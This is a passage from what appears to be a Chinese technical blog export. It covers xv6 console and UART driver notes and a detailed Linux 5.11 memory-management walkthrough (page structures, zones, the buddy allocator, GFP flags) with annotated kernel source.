从这些物理地址读写是与设备硬件交互而不是内存 UART 的内存映射地址从 0x10000000 (或 UART0 kenrel/memlayout.h)开始 控制寄存器UART 硬件在软件层面为一组内存映射的控制寄存器(这里的寄存器并不是 CPU 寄存器,而且位于 UART 硬件中的寄存器) UART 控制寄存器宽度为 1 Byte,它们在 UART0 的偏移在 kernel/uart.c 中定义 LSR line status register 比特位表示输入的字符是否在等待软件读取 RHR receive holding register 保存等待读取的字符 每次一个字符被读取,UART 硬件将它从一个 FIFO 的结构中删除 当 FIFO 结构为空时将 LSR 的 ready 位清零 THR transimit holding register 保存等待传输的字符 UART 传输硬件很大程度上独立于接收硬件,如果软件向 THR 写 1 Byte,UART 就传输该字节 xv6 的控制台输入xv6 的 main 调用 consoleinit 来初始化 UART 硬件,配置 UART 让它每接收到 1 Byte 输入就生成一个 receive 中断,每完成 1 Byte 的输出就生成一个 transmit complete 中断 用户进程,如 shell,通过 user/init.c 打开的文件描述符,使用 read 系统调用从控制台获取输入行 read 系统调用通过内核的 consoleread 完成操作 consoleread 等待输入(通过中断),然后将字符放入 cons.buf 作为缓冲,把输入复制到用户空间,直到一整行输入到达,返回到用户进程 如果用户还没有输入一整行,任何需要读取的进程都在 sleep 调用中等待 当用户输入一个字符 UART 硬件请求 RISC-V 发起中断,激活 xv6 的 trap 处理程序 trap 处理程序会调用 devintr,从 scause 寄存器查找中断来自哪个外部设备,然后告诉 PLIC 硬件单元哪个设备发出中断,如果来自 UART,devintr 会调用 uartintr uartintr 读取来自 UART 硬件的等待输入的字符(RHR),将它们传给 consoleintr consoleintr 会将字符积累在 cons.buf,但对 backspace 和一些其他字符特殊处理 当一行新的字符到达(读取到 ‘\\n’)时,consoleintr 会唤醒一个正在等着等待的 consoleread 代码:控制台输出设备 driver 维护一个输入缓冲区 uart_tx_buf,因此需要输出的进程不需要等待 UART 完成发送,除非缓冲区已满 write 系统调用使用连接着控制台的文件描述符,最终会到达 uartputc uartputc 将每个字符加入缓冲区,调用 uartstart 开始设备传输并返回 UART 每完成一个字节的发送,就会发起中断,uartintr 调用 uartstart 检查设备是否已经完成发送,然后将下一个缓冲的输出字符传给设备 如果一个进程将多个字节写入控制台,第一个字节会由 uartputc 调用的 uartstart 来发送,剩下的字节由 uartintr 调用的 uartstart 来发送 需要注意的是,这里通过缓冲和中断将设备活动和进程活动进行解耦 控制台 driver 可以处理输入,即使没有进程等待读取,一个后来的读取可以看到输入;进程可以不等待设备发送输出 解耦通过允许进程与设备 I/O 同时执行来提高性能,当设备速度慢(如 UART)或需要即时响应(如回应键入的字符)时尤其重要 这也被称为 I/O 并行 驱动程序中的并发你可能注意到在 consoleread 和 consoleintr 中调用 acquire 这个调用申请一个🔒,保护控制台 driver 的数据结构免受并发访问影响 三个并发危险,可能会导致竞争或死锁 两个在不同 CPU 核的进程同时调用 consoleread 当 CPU 正在执行 consoleread 时,硬件可能请求该 CPU 发送控制台中断 当 CPU 正在执行 consoleread 时,硬件可能在另一个 CPU 中发送控制台中断 drivers 的并发另一个需要小心的地方:一个进程可能等待设备输入,当另一个进程在运行时,输入的中断信号可能到达 中断处理程序不会考虑中断的进程和代码,例如一个中断处理程序无法安全地使用当前进程的页表调用 copyout,它只会做很少量的工作(如,将输入数据复制到缓冲区),并唤醒前半部分代码完成其余工作 定时器中断Xv6 使用定时器中断维持时钟,使其能在进程之间切换进行调度 usertrap 和 kerneltrap 中的 yield 调用也会导致这类切换 定时器中断来自 RISC-V 中每个 CPU 的时钟硬件,xv6 对这个时钟硬件编程,以定期中断每个 CPU RISC-V 要求计时器中断要由机器模式接管,而不是管理者模式 RISC-V 机器模式不用分页执行代码,使用一组独立的控制寄存器,因此在机器模式执行普通的 xv6 内核代码时是不实际的 因此 xv6 将定时器中断独立于之前使用的 trap 机制进行处理 机器模式执行的代码在 kernel/start.c 中,在执行 main 之前,设置定时器中断的接收 对 CLINT(core-local interruptor)硬件进行编程,以在一定延迟后生成中断 设立一个类似 trapframe 的临时区域,帮助定时器中断处理程序保存寄存器和 CLINT 寄存器的地址 最后 start 将 mtvec 设置为 timervec(在 kernel/kernelvec.S 中),启用定时器中断 真实世界xv6 允许在执行内核和用户程序时启用设备和定时器中断 定时器中断强制线程切换,即使是在内核态运行,因此内核代码需要注意它可能被挂起,并在不同的 CPU 上恢复 如果内核线程有时花费大量时间计算而不返回用户空间,在内核线程之间公平地对 CPU 进行时间切片是有效的 如果只在执行用户代码时发生设备和定时器中断,会让内核更简单 在一台计算机上支持所有设备是一项艰巨的工作,因为有许多设备,有许多功能,设备和 driver 之间的协议可能很复杂且缺乏文档。在许多操作系统中,driver 比内核核心代码占用更多 UART driver 通过读取 UART 控制寄存器一次检索 1 Byte 的数据,称为 programmed I/O,因为软件正在驱动数据移动 DMA 编程 I/O 很简单,但是速度太慢,无法在高数据速率下使用 xv6 的 UART driver 先将传入的数据复制到内核的缓冲区,再复制到用户空间,在低数据速率时有效,但如果设备产生或使用数据很快,两次复制会严重降低性能 因此有直接存储器访问(DMA)技术 DMA 硬件设备直接将传入的数据写入 RAM,并从 RAM 读取传出的数据 高速移动大量数据的设备(现代磁盘和网络设备)通常使用直接存储器访问(DMA) 一些操作系统常使用 DMA 直接将数据在用户空间的缓冲区和设备硬件之间移动 DMA 设备 driver 在 RAM 中准备数据,对一个控制寄存器进行一次写入告诉设备去处理准备好的数据 中断优化当一个设备在不可预测的时间需要关注时,中断是有意义的,但是中断有很高的 CPU 开销 高速设备(如网络和磁盘控制器)使用一些技巧减少中断的需求 对整批传入或传出的请求发起一个中断 轮询:完全禁用中断,定期检查设备是否需要关注 如果设备执行操作非常快,轮询效率较高,但是如果设备大部分时间处于空闲状态,则会浪费 CPU 时间 某些驱动程序根据当前设备负载会在轮询和中断之间动态切换 设备使用如第 1 章所述,控制台在应用程序呈现为一个常规文件,应用程序通过 read 和 write 系统调用读取输入,写入输出 应用程序可能想要控制不能作为标准文件系统调用的设备,Unix 操作系统支持 ioctl 系统调用应对这种情况 实时响应计算机的一些使用需要系统在有限的时间内做出响应(严格安全的系统错过 deadline 可能会导致灾难) xv6 不适合严格实时设置,严格实时操作系统往往是与应用程序链接的库,允许进行分析最坏情况下的响应时间 xv6 也不适合软实时应用程序,偶尔错过 deadline 是可以接受的,因为 xv6 调用程序过于简单,并且它在内核代码路径中有一段较长时间中断是禁止的","link":"/2022/10/14/Xv6/"},{"title":"Linux Kernel 内存管理","text":"Linux 5.11 内存管理 声明 代码块的开头一般都标有代码的相对路径,根目录为源代码根目录 笔者尽可能会在代码块中每一行代码的上方进行注释,然后在代码块的下方总结该函数的行为 关键词下面是本文和代码可能会用到的一些关键词,防止读者(自己)混淆 页:一般指一页物理页,大小一般为 4 KB 页面:由一页或者多个连续页组成的内存区,为 Buddy System 的最小管理单位 partial page/slab:有空闲对象的页面 cpu slab:kmem_cache_cpu->page 指向的 slab cpu partial slab:kmem_cache_cpu->partial 指向的 partial slab node slab:kmem_cache_node->partial 指向的 partial slab struct page new:保存 page 新状态,更新 page 状态时使用 struct page old:保存 page 旧状态,用于原子操作时保证单线程修改变量,防止条件竞争 一般用于更新 page->freelist 和 page->counters 有些代码可能会直接定义 freelist 或 prior 和 counters 变量来保存状态,作用都是一样的 cmpxchg 宏:一类原子操作的宏,用于防止条件竞争,会将值先与保存的原值进行比较,相等后再赋新值,如 this_cpu_cmpxchg(pcp, oval, nval) 相当于 if(pcp == oval) pcp = nval 物理内存Linux 使用三级结构对物理内存进行管理 Page 页 物理内存最小的管理单元,也是虚拟内存映射到物理内存的最小单位 Zone 区 第二级结构,管理多个页 Node 节点 第一级结构,管理多个区 PageLinux 使用 page 结构体来管理一个页,一般一页为 4KB 结构体的内容如下(结构体的定义在 include/linux/mm_types.h 中,这里就不把代码放出来凑字数了) flags 标志位 union1 5 个字长 这个 union 根据 page 的不同用途,定义不同的结构体,节省内存 union2 memmap 管理 _refcount 使用计数 其他扩展 下面介绍比较重要的字段 flags1unsigned long flags; 标志位,每一位表示一种状态,状态 enum pageflags 在 include/linux/page-flags.h 中定义 PG_locked 该页上锁,正在被使用 PG_referenced 该页刚被访问过,与 PG_reclaim 用于匿名与文件备份缓存的页面回收 PG_reclaim 该页可以被回收 PG_uptodate 最新状态(up-to-date),该页被读后会变更为最新状态 PG_dirty 该页被修改过 PG_lru 该页在 LRU 链表上 PG_active 该页在活跃 LRU 链表上 PG_workingset 该页位于某个进程的工作集(working set,在某一时刻被使用的内存页)中 PG_waiters 有进程在等待该页 PG_error 该页在 I/O 过程中出现了差错 PG_slab 该页由 slab 使用 PG_owner_priv_1 该页由其所有者使用,若是作为 pagecache 页面,则可能是被文件系统使用 PG_arch_1 该页与体系结构相关联 PG_reserved 该页被保留,不能够被 swap out(内核会将不活跃的页交换到磁盘上) PG_private && PG_private2 该页拥有私有数据(private 字段) PG_writeback 该页正在被写到磁盘上 PG_head 该页是复合页(compound pages)的第一个页 PG_mappedtodisk 该页被映射到硬盘中 PG_swapbacked 该页的后备存储器为 swap/RAM PG_unevictable 该页不可被回收(被锁),且会出现在 LRU_UNEVICTABLE 链表中 PG_mlocked 该页被对应的 vma 上锁(通常是系统调用 mlock) PG_uncached 该页被设置为不可缓存 PG_hwpoison 硬件相关的标志位 PG_arch_2:64位下的体系结构相关标志位 _mapcount 该字段在 union2 中 123456union { atomic_t _mapcount; unsigned int page_type; unsigned int active; int units;}; 映射计数,该页被页表映射的次数,可以理解为有多少个进程共享这一页 _refcount1atomic_t _refcount; 引用计数,该页在某一个时刻被引用的个数 内核使用 get_page 函数增加引用计数,put_page 函数减少引用计数,当引用计数为 0 时,会调用 __put_single_page 释放该页 virtual1void *virtual; 该页在内核中被映射的虚拟地址 基础内存模型Linux 定义了三种内存模型,定义在 include/asm-generic/memory_model.h 中 #todo 做一张内存模型的图 Flat Memory平滑内存模型,顾名思义,所有的物理内存地址连续,一个 page 数组 mem_map 全局变量来表示对应的所有物理内存 Discontiguous Memory非连续内存模型,顾名思义,物理内存地址不完全连续,内存之间存在空洞(hole) 每一段连续物理内存由 pglist_data 结构体表示,结构体中 node_mem_map 字段为一个 page 数组,该数组对应这一段连续物理内存 再往上一层,有一个 pglist_data 指针数组 node_data 全局变量来存放每个 pglist_data 的地址 Sparse Memory离散内存模型,该内存模型相当于可热插拔的非连续内存模型,是最常用的基础内存模型 物理内存以 section(节)为单位进行管理,每一段连续物理内存由 mem_section 结构体中的 section_mem_map 对应 section_mem_map 本身是一个 unsigned long 变量,可以通过 section_mem_map & SECTION_MAP_MASK 来获取对应的 section 首地址,内核中用 __section_mem_map_addr 函数表示这一操作 再往上一层,有一个 mem_section 二维数组 mem_section(同名)存放每个 mem_section 的实体或地址,这个二维数组大小可以是固定的,也可以是动态的(struct mem_section **mem_section,一般在 section 比较多的情况下需要开启 CONFIG_SPARSEMEM_EXTREME),指针可能为空 mm/sparse.c123456789101112#ifdef CONFIG_SPARSEMEM_EXTREMEstruct mem_section **mem_section;#elsestruct mem_section mem_section[NR_SECTION_ROOTS][SECTIONS_PER_ROOT] ____cacheline_internodealigned_in_smp;#endif#ifdef CONFIG_SPARSEMEM_EXTREME #define SECTIONS_PER_ROOT (PAGE_SIZE / sizeof (struct mem_section))#else #define SECTIONS_PER_ROOT 1#endif 固定和动态大小的二维数组 mem_section 布局是不同的 固定大小的 mem_section 实际上是一个一维指针数组 第二维的大小 SECTIONS_PER_ROOT 为 1 动态大小的 mem_section 是实实在在的二维数组 第二维的大小 SECTIONS_PER_ROOT,即一页所能存放的 mem_section 结构体的个数 也就是说,mem_section 会连续存储在一页中,并且有多个页来存储 mem_section,也表明 section 数量也确实多 下图为固定大小的 mem_section 下面是动态大小的 mem_section PFN 与 page 地址的转换在内核中常会用到 PFN(页帧号 Page Frame Number) 来简单表示一个页(而不是用复杂的 page 指针地址表示),可以理解为该页在物理内存的位置号,使用上会涉及到 PFN 与 page 地址之间的转换 __page_to_pfn 和 __pfn_to_page 这里只讲 Sparse Memory 的转换,宏定义位于 include/linux/memory_model 中 1234567891011121314#elif defined(CONFIG_SPARSEMEM)#define __page_to_pfn(pg) \\({ const struct page *__pg = (pg); \\ int __sec = page_to_section(__pg); \\ (unsigned long)(__pg - __section_mem_map_addr(__nr_to_section(__sec))); \\})#define __pfn_to_page(pfn) \\({ unsigned long __pfn = (pfn); \\ struct mem_section *__sec = __pfn_to_section(__pfn); \\ __section_mem_map_addr(__sec) + __pfn; \\})#endif 注意 mem_section 的 section_mem_map 是等于该 section 第一个 page 的地址减去 section 第一个 page 对应的页在物理内存中的位置号 start_pfn 由此可以得到下面的公式 $$PFN = index_{page} + start_pfn = addr_{page} - addr_{section_first_page} + start_pfn = addr_{page} - section_mem_map$$ page 地址 -> PFN首先使用 page_to_section 通过 page 的 flags 字段该页所属 section 号 include/linux/mm.h1234static inline unsigned long page_to_section(const struct page *page){ return (page->flags >> SECTIONS_PGSHIFT) & SECTIONS_MASK;} 然后使用 __nr_to_section 获取对应的 mem_section 结构体地址 include/linux/mmzone.h123456789101112static inline struct mem_section *__nr_to_section(unsigned long nr){#ifdef CONFIG_SPARSEMEM_EXTREME if (!mem_section) return NULL;#endif if (!mem_section[SECTION_NR_TO_ROOT(nr)]) return NULL; return &mem_section[SECTION_NR_TO_ROOT(nr)][nr & SECTION_ROOT_MASK];}#define SECTION_NR_TO_ROOT(sec) ((sec) / SECTIONS_PER_ROOT) SECTION_NR_TO_ROOT 是计算该 section 在二维数组的第一个下标,与 SECTION_ROOT_MASK 做与运算,获取在二维数组的第二个下标 然后使用 __section_mem_map_addr 获取 page 所在 section 的 section_mem_map include/linux/mmzone.h1234567static inline struct page *__section_mem_map_addr(struct mem_section *section){ unsigned long map = section->section_mem_map; // 去掉标志位 map &= SECTION_MAP_MASK; return (struct page *)map;} 最后作差即可得到 PFN PFN -> page 地址先通过 __pfn_to_section 将 pfn 转换成对应的 section include/linux/mmzone.h123456789static inline struct mem_section *__pfn_to_section(unsigned long pfn){ return __nr_to_section(pfn_to_section_nr(pfn));}static inline unsigned long pfn_to_section_nr(unsigned long pfn){ return pfn >> PFN_SECTION_SHIFT;} 其中会调用 pfn_to_section_nr 获取所属 section 号,再通过 __nr_to_section 获取 mem_section 地址 然后使用 __section_mem_map_addr 获取 page 所在 section 的 section_mem_map 最后相加即可得到 page 地址 Sparse Memory Virtual Memmap这是 Linux 最常用的内存模型之一 开启虚拟地址空间到物理地址空间的映射,虚拟地址空间的所有页都是连续的,所有的 page 都抽象到一个虚拟数组 vmemmap 中,PFN 也就代表着该页在虚拟空间的位置 include/asm-generic/memory_model.h12#define __pfn_to_page(pfn) (vmemmap + (pfn))#define __page_to_pfn(page) (unsigned long)((page) - vmemmap) 使用简单的加减法即可互相转换 ZoneLinux 使用区来管理一段内存页,使用 zone 结构体表示,结构体定义位于 include/linux/mmzone.h 区根据地址不同分为不同的区 ZONE_DMA 0 - 16 MB ZONE_DMA32 16 MB - 4 GB x86_64 独有 ZONE_NORMAL x86:16 - 896 MB x86_64:4 GB+ ZONE_HIGHMEM 896 MB+ x86 独有 下面介绍比较重要的字段 _watermark1unsigned long _watermark[NR_WMARK]; // NR_WMARK = 3 水位线,每个区从高到低有三档水位线:WMARK_HIGH、WMARK_LOW、WMARK_MIN Buddy System 会根据空闲内存和水位线比较判断当前的内存情况,进行内存回收 zone_pgdat1struct pglist_data *zone_pgdat; 指向 zone 所属的节点 pageset1struct per_cpu_pageset __percpu *pageset; 多 CPU 的引入会导致条件竞争,其中一个解决办法是锁,但是频繁的加解锁和等待时间造成巨大的开销,因此引入 per_cpu_pageset 结构体,为每一个 CPU 单独准备一个页面仓库 pageset,即每个 CPU 的 pageset 指针指向不同的实体 Buddy System 初始化时会将页面均匀地放在各个 CPU 的 pageset 中,分配时优先从自己的 pageset 中分配 include/linux/mmzone.h1234567891011121314151617181920struct per_cpu_pageset { struct per_cpu_pages pcp;#ifdef CONFIG_NUMA s8 expire; u16 vm_numa_stat_diff[NR_VM_NUMA_STAT_ITEMS];#endif#ifdef CONFIG_SMP s8 stat_threshold; s8 vm_stat_diff[NR_VM_ZONE_STAT_ITEMS];#endif};struct per_cpu_pages { int count; // 页面数量 int high; // 高水位线 int batch; // 如果页面数量为 0,从该 zone 中的补充数量 // pcp-list 页面链表,一种迁移类型一个链表 struct list_head lists[MIGRATE_PCPTYPES];}; free_area1struct free_area free_area[MAX_ORDER]; // MAX_ORDER = 11 存放 Buddy System 分阶管理的页面,页面以双向链表形式连接 NodeLinux 使用节点来管理几个内存区,使用 pglist_data 结构体表示,结构体定义位于 include/linux/mmzone.h 使用内存控制器来划分节点,同一内存控制器下的 CPU 对应的节点内存为本地内存 大部分计算机只有一个 Node #todo Buddy System内存组织形式在 Buddy System 中,按照空闲页面的大小进行分阶(order)管理,第 n 阶就是 2 的 n 次方个页的大小,存储在 zone 的 free_area 中,页面为 Buddy System 的最小管理单位 空闲页面以双向链表的形式进行连接 123456789101112// include/linux/mmzone.hstruct free_area free_area[MAX_ORDER]; // MAX_ORDER = 11struct free_area { struct list_head free_list[MIGRATE_TYPES]; unsigned long nr_free;};// include/linux/types.hstruct list_head { struct list_head *next, *prev;}; free_list本质是一个双向链表,由于页面迁移机制,还要按照不同的迁移类型(migrate type)对相同大小页面进行分类 1234567891011121314enum migratetype { MIGRATE_UNMOVABLE, MIGRATE_MOVABLE, MIGRATE_RECLAIMABLE, MIGRATE_PCPTYPES, MIGRATE_HIGHATOMIC = MIGRATE_PCPTYPES,#ifdef CONFIG_CMA MIGRATE_CMA, #endif #ifdef CONFIG_MEMORY_ISOLATION MIGRATE_ISOLATE,#endif MIGRATE_TYPES }; MIGRATE_UNMOVABLE:这类型页面在内存当中有着固定的位置,不能移动 MIGRATE_MOVABLE:这类页面可以随意移动,例如用户空间的页面,我们只需要复制数据后改变页表映射即可 MIGRATE_RECLAIMABLE:这类页面不能直接移动,但是可以删除,例如映射文件的页 MIGRATE_PCPTYPES:per_cpu_pageset,即每 CPU 页帧缓存,其迁移仅限于同一节点内 MIGRATE_CMA:Contiguous Memory Allocator,即连续的物理内存 MIGRATE_ISOLATE:不能从该链表分配页面,该链表用于跨 NUMA 节点进行页面移动,将页面移动到使用该页面最为频繁的 CPU 所处节点 MIGRATE_TYPES:表示迁移类型的数目 nr_free当前 free_area 中的空闲页面数量 页面分配Buddy System 提供了一些用与分配页面的接口函数,它们最终都会调用核心函数 struct page *__alloc_pages_nodemask(gfp_t gfp_mask, unsigned int order, int preferred_nid, nodemask_t *nodemask) 下面围绕核心函数来介绍页面分配机制 gfp_tGFP 即 Get Free Page 核心函数的第一个参数 gfp_t 表示在分配页面时的标志位,定义位于 include/linux/gfp.h 中 内存管理区修饰符主要描述从哪块内存区分配内存 Flag Description __GFP_DMA 从 ZONE_DMA 区中分配内存 __GFP_HIGNMEM 从 ZONE_HIGHMEM 区中分配内存 __GFP_DMA32 从 ZONE_DMA32 区中分配内存 __GFP_MOVABLE 内存规整时可以迁移或回收页面 移动和替换修饰符主要描述分配的页面的迁移属性 Flag Description __GFP_RECLAIMABLE 分配的内存页面可以回收 __GFP_WRITE 申请的页面会被弄成脏页 __GFP_HARDWALL 强制使用 cpuset 内存分配策略 __GFP_THISNODE 在指定的节点上分配内存 __GFP_ACCOUNT kmemcg 会记录分配过程 水位线修饰符 Flag Description __GFP_ATOMIC 高优先级分配内存,分配器可以分配最低警戒水位线下的预留内存 __GFP_HIGH 分配内存的过程中不可以睡眠或执行页面回收动作 __GFP_MEMALLOC 允许访问所有的内存 __GFP_NOMEMALLOC 不允许访问最低警戒水位线下的系统预留内存 回收修饰符主要描述页面回收的相关属性 Flag Description __GFP_IO 启动物理 I/O 传输 __GFP_FS 允许调用底层 FS 文件系统。可避免分配器递归到可能已经持有锁的文件系统中,避免死锁 __GFP_DIRECT_RECLAIM 分配内存过程中可以使用直接内存回收 __GFP_KSWAPD_RECLAIM 内存到达低水位时唤醒 kswapd 线程异步回收内存 __GFP_RECLAIM 表示是否可以直接内存回收或者使用 kswapd 线程进行回收 __GFP_RETRY_MAYFAIL 分配内存可以可能会失败,但是在申请过程中会回收一些不必要的内存,使整个系统受益 __GFP_NOFAIL 内存分配失败后无限制的重复尝试,直到分配成功 __GFP_NORETRY 直接页面回收或者内存规整后还是无法分配内存时,不启用 retry 反复尝试分配内存,直接返回 NULL 行为修饰符主要描述分配页面时的行为 Flag Fescription __GFP_NOWARN 关闭内存分配过程中的 WARNING __GFP_COMP 分配的内存页面将被组合成复合页 __GFP_ZERO 返回一个全部填充为 0 的页面 组合类型 Flag Element Description GFP_ATOMIC __GFP_HIGH | __GFP_ATOMIC | __GFP_KSWAPD_RECLAIM 分配过程不能休眠,分配具有高优先级,可以访问系统预留内存 GFP_KERNEL __GFP_RECLAIM | __GFP_IO | __GFP_FS 分配内存时可以被阻塞(即休眠) GFP_KERNEL_ACCOUNT GFP_KERNEL | __GFP_ACCOUNT 和 GFP_KERNEL 作用一样,但是分配的过程会被 kmemcg 记录 GFP_NOWAIT __GFP_KSWAPD_RECLAIM 分配过程中不允许因直接内存回收而导致停顿 GFP_NOIO __GFP_RECLAIM 不需要启动任何的 I/O 操作 GFP_NOFS __GFP_RECLAIM | __GFP_IO 不会有访问任何文件系统的操作 GFP_USER __GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_HARDWALL 用户空间的进程分配内存 GFP_DMA __GFP_DMA 从 ZONE_DMA 区分配内存 GFP_DMA32 __GFP_DMA32 从 ZONE_DMA32 区分配内存 GFP_HIGHUSER GFP_USER | __GFP_HIGHMEM 用户进程分配内存,优先使用 ZONE_HIGHMEM,且这些页面不允许迁移 GFP_HIGHUSER_MOVABLE GFP_HIGHUSER | __GFP_MOVABLE 和 GFP_HIGHUSER 类似,但是页面可以迁移 GFP_TRANSHUGE_LIGHT GFP_HIGHUSER_MOVABLE | __GFP_COMP | __GFP_NOMEMALLOC | __GFP_NOWARN) & ~__GFP_RECLAIM 透明大页的内存分配, light 表示不进行内存压缩和回收 GFP_TRANSHUGE GFP_TRANSHUGE_LIGHT | __GFP_DIRECT_RECLAIM 和 GFP_TRANSHUGE_LIGHT 类似,通常 khugepaged 使用该标志 常见标志和值 Flag Value GFP_KERNEL 0xCC0 __GFP_ZERO 0x100 alloc_context分配结构体,描述一次内存分配的上下文信息,此结构体会在核心参数中使用到 mm/internal.h123456789struct alloc_context { struct zonelist *zonelist; nodemask_t *nodemask; struct zoneref *preferred_zoneref; int migratetype; enum zone_type highest_zoneidx; bool spread_dirty_pages;}; zone_list保存此次分配操作的区的列表,实际上就是 zone 结构体的指针数组 include/linux/mmzone.h12345678struct zonelist { struct zoneref _zonerefs[MAX_ZONES_PER_ZONELIST + 1];};struct zoneref { struct zone *zone; int zone_idx;}; preferred_zoneref表示优先进行分配的区 spread_dirty_pages表示此次分配的页面是否会被修改且需要写回 __alloc_pages_nodemask 函数该函数为核心函数,所有页面分配的 API 函数都是基于该函数的封装 函数参数 gfp_t gpf_mask:分配标志位 unsigned int order:页面的阶 int prederred_nid:选取的 Node 的 id,一般为该 CPU 所在 node nodemask_t *nodemask:限制可选取的 mask,一般为 0,不会限制 mm/page_alloc.c1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859struct page *__alloc_pages_nodemask(gfp_t gfp_mask, unsigned int order, int preferred_nid, nodemask_t *nodemask){ struct page *page; unsigned int alloc_flags = ALLOC_WMARK_LOW; gfp_t alloc_mask; struct alloc_context ac = { }; // 检测 order 是否合法 if (unlikely(order >= MAX_ORDER)) { WARN_ON_ONCE(!(gfp_mask & __GFP_NOWARN)); return NULL; } // 取出允许使用的 gfp 标志位 gfp_mask &= gfp_allowed_mask; alloc_mask = gfp_mask; // 分配前的准备 if (!prepare_alloc_pages(gfp_mask, order, preferred_nid, nodemask, &ac, &alloc_mask, &alloc_flags)) return NULL; // 直到所有的 local zone 都被考虑之前,禁止从 falling back 到内存碎片的传递 alloc_flags |= alloc_flags_nofragment(ac.preferred_zoneref->zone, gfp_mask); // 第一次分配尝试,快速分配 page = get_page_from_freelist(alloc_mask, order, alloc_flags, &ac); if (likely(page)) goto out; /* * Apply scoped allocation constraints. This is mainly about GFP_NOFS * resp. GFP_NOIO which has to be inherited for all allocation requests * from a particular context which has been marked by * memalloc_no{fs,io}_{save,restore}. */ alloc_mask = current_gfp_context(gfp_mask); ac.spread_dirty_pages = false; /* * Restore the original nodemask if it was potentially replaced with * &cpuset_current_mems_allowed to optimize the fast-path attempt. */ ac.nodemask = nodemask; // 进入慢速分配 page = __alloc_pages_slowpath(alloc_mask, order, &ac);out: if (memcg_kmem_enabled() && (gfp_mask & __GFP_ACCOUNT) && page && unlikely(__memcg_kmem_charge_page(page, gfp_mask, order) != 0)) { __free_pages(page, order); page = NULL; } trace_mm_page_alloc(page, order, alloc_mask, ac.migratetype); return page;} 步骤主要分为三步 检查参数的合法性,做分配前的准备工作 进行快速分配,成功则直接返回结果 若快速分配失败,进行慢速分配 分配前的准备工作通过调用 prepare_alloc_page 来初始化 alloc_context 结构体、获取区等 mm/page_alloc.c12345678910111213141516171819202122232425262728293031323334353637383940414243444546static inline bool prepare_alloc_pages(gfp_t gfp_mask, unsigned int order, int preferred_nid, nodemask_t *nodemask, struct alloc_context *ac, gfp_t *alloc_mask, unsigned int *alloc_flags){ // 通过 gfp 标志位,获取可使用的区的最大下标 ac->highest_zoneidx = gfp_zone(gfp_mask); // 获取可用区的列表 ac->zonelist = node_zonelist(preferred_nid, gfp_mask); ac->nodemask = nodemask; // 获取迁移类型 ac->migratetype = gfp_migratetype(gfp_mask); // 如果开启了 cpusets(限制某组进程仅在某些 CPU 和内存上运行),设置对应标志位 if (cpusets_enabled()) { *alloc_mask |= __GFP_HARDWALL; /* * 如果是在中断的上下文中,那么这次分配与当前任务的上下文无关 * 那么选择任意节点都可以 */ if (!in_interrupt() && !ac->nodemask) ac->nodemask = &cpuset_current_mems_allowed; else *alloc_flags |= ALLOC_CPUSET; } fs_reclaim_acquire(gfp_mask); fs_reclaim_release(gfp_mask); // 检查是否需要进行内存回收 might_sleep_if(gfp_mask & __GFP_DIRECT_RECLAIM); if (should_fail_alloc_page(gfp_mask, order)) return false; *alloc_flags = current_alloc_flags(gfp_mask, *alloc_flags); // 根据标志位判断页面是否需要回写,Dirty zone 的平衡只在快速分配中做 ac->spread_dirty_pages = (gfp_mask & __GFP_WRITE); // 取出 zone_list 第一个区作为 preferred_zoneref ac->preferred_zoneref = first_zones_zonelist(ac->zonelist, ac->highest_zoneidx, ac->nodemask); return true;} 从指定的节点中一个 zone_list 作为可用区的列表 根据 cpuset 情况设置标志位 判断是否页面需要回写 取出 zone_list 第一个区作为 preferred_zoneref 快速分配:get_page_from_freelist 函数通过 get_page_from_freelist 遍历 alloc_context 的 zone_list 中获取内存 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135static struct page *get_page_from_freelist(gfp_t gfp_mask, unsigned int order, int alloc_flags, const struct alloc_context *ac){ struct zoneref *z; struct zone *zone; struct pglist_data *last_pgdat_dirty_limit = NULL; bool no_fallback;retry: // 扫描 zonelist, 寻找有足够空闲空间的 zone // 设置避免内存碎片的标志位 no_fallback = alloc_flags & ALLOC_NOFRAGMENT; // 首先扫描 preferred_zoneref z = ac->preferred_zoneref; // 一个封装 for 循环的宏,从 z 开始遍历 zone_list 可使用的 zone for_next_zone_zonelist_nodemask(zone, z, ac->highest_zoneidx, ac->nodemask) { struct page *page; unsigned long mark; // 如果开启 cpuset,检查当前 zone 是否满足要求 if (cpusets_enabled() && (alloc_flags & ALLOC_CPUSET) && !__cpuset_zone_allowed(zone, gfp_mask)) continue; // 当需要分配需要回写的页,而 zone 中脏页达到限制后需要跳过 if (ac->spread_dirty_pages) { if (last_pgdat_dirty_limit == zone->zone_pgdat) continue; if (!node_dirty_ok(zone->zone_pgdat)) { last_pgdat_dirty_limit = zone->zone_pgdat; continue; } } // 当 node 数量大于 1,且当前 zone 非 preferred_zone if (no_fallback && nr_online_nodes > 1 && zone != ac->preferred_zoneref->zone) { int local_nid; /* * 如果遍历到离 CPU 比较远的 zone,去掉避免碎片的标志 * 即倾向于 local node 中的 zone,即使会产生内存碎片 */ local_nid = zone_to_nid(ac->preferred_zoneref->zone); if (zone_to_nid(zone) != local_nid) { alloc_flags &= ~ALLOC_NOFRAGMENT; goto retry; } } // 获取水位线,并做检查 mark = wmark_pages(zone, alloc_flags & ALLOC_WMARK_MASK); if (!zone_watermark_fast(zone, order, mark, ac->highest_zoneidx, alloc_flags, gfp_mask)) { // 如果水位线没通过,进入下面流程 int ret;#ifdef CONFIG_DEFERRED_STRUCT_PAGE_INIT // 如果该 zone 包含 deferred pages,可以尝试扩展该 zone if (static_branch_unlikely(&deferred_pages)) { if (_deferred_grow_zone(zone, order)) goto try_this_zone; }#endif BUILD_BUG_ON(ALLOC_NO_WATERMARKS < NR_WMARK); // 如果标志忽略水位线,直接尝试从该 zone 进行分配 if (alloc_flags & ALLOC_NO_WATERMARKS) goto try_this_zone; if (node_reclaim_mode == 0 || !zone_allows_reclaim(ac->preferred_zoneref->zone, zone)) continue; // 进行页面回收 ret = node_reclaim(zone->zone_pgdat, gfp_mask, order); switch (ret) { case NODE_RECLAIM_NOSCAN: // 不扫描 continue; case NODE_RECLAIM_FULL: // 扫描但不能回收 continue; default: // 回收后是否达标 if (zone_watermark_ok(zone, order, mark, ac->highest_zoneidx, alloc_flags)) goto try_this_zone; continue; } }try_this_zone: // 正式进入页面分配 page = rmqueue(ac->preferred_zoneref->zone, zone, order, gfp_mask, alloc_flags, ac->migratetype); if (page) { // 